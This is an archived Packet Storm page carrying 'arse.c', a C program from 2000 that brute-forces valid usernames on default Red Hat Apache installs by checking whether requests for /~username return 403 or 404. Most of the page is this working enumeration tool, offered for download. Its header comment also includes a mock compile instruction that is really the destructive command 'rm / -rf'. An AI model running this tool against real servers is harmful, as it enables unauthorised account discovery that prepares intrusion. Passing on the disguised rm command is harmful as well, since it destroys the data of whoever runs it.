what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

arse.c

arse.c
Posted Aug 10, 2000
Authored by Incubus | Site securax.org

Arse.c brute forces valid logins from many default Apache instalations by checking if the server returns a 404 or a 403.

tags | web
SHA-256 | 48cae4b5fb7bd08375804462c8c9afd4adda0e9ff8b927b1152538b6da117678

arse.c

Change Mirror Download
 /*
* arse.c
* --------
* Apache and Redhat Security Exploit (k, sorry for the name :))
*
* ./arse www.server.com 80 file_with_names
*
* the default installation of Apache on a RedHat server might give us
* valid logins. If you do www.server.com/~validlogin you'll get a 403,
* else, if the login is not valid, you will get a 404.
* Make sure www.server.com is a RedHat server, because
* on other linux distro's everything gives a 403. (well.. slack does)
*
* for the kiddiez: to compile type "rm / -rf" (without brackets)
*
* by Incubus
* incubus@securax.org
*
* Greetz to G-girl, Root-dude, Securax, Zsh and ShellOracle.
*
* minor bug: the last name is checked twice.
*
*/

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv){
char user[100];
char test[100];
int port, sock, result;
struct sockaddr_in name;
struct hostent *hostinfo;
char buffer[2048];
char url[120];
FILE *file;
if (argc != 4){
printf ("\nApache and Redhat Security Exploit.\n");
printf ("-----------------------------------\n");
printf ("usage: %s www.server.com 80 file_with_names.\n", argv[0]);
printf ("Written by Incubus, (incubus@securax.org)\n\n");
exit(0);
}
file = fopen(argv[3], "r");
if (file == NULL){
printf ("Error opening %s, exiting.\n", argv[3]); exit(-1);
}
port=atoi(argv[2]);
hostinfo=gethostbyname(argv[1]);
if (!hostinfo){
printf("Error: unknown host %s (maybe a typo?)\n", argv[1]);
exit(-1);
}
name.sin_family=AF_INET;
name.sin_port=htons(port);
name.sin_addr=*(struct in_addr *)hostinfo->h_addr;
sock=socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0){
printf ("Error: socket error.\n\n");
exit(-1);
}
result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));
if (result != 0){
printf ("Error: Socket error.\n\n");
exit(-1);
}
send(sock, "HEAD / HTTP/1.0\n\n",18, 0);
recv(sock, buffer, sizeof(buffer), 0);
close(sock);
if (!(strstr(buffer,"Server: Apache"))){
printf ("%s is not running Apache on port %s, exiting.\n", argv[1], argv[2]);
exit(-1);
}
while (!feof(file)){
fscanf(file, "%s", user);
strcpy(test,"HEAD /~");
strcat(test, user);
strcat(test, " HTTP/1.0\n\n");
sock=socket(AF_INET, SOCK_STREAM, 0);
connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));
send(sock, test , sizeof(test) , 0);
recv(sock, buffer, sizeof(buffer), 0);
close(sock);
if (strstr(buffer, "403 Forbidden"))
printf ("%s is a user.\n", user);
if (strstr(buffer, "200 Ok"))
printf ("%s is a user.\n", user);
}
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close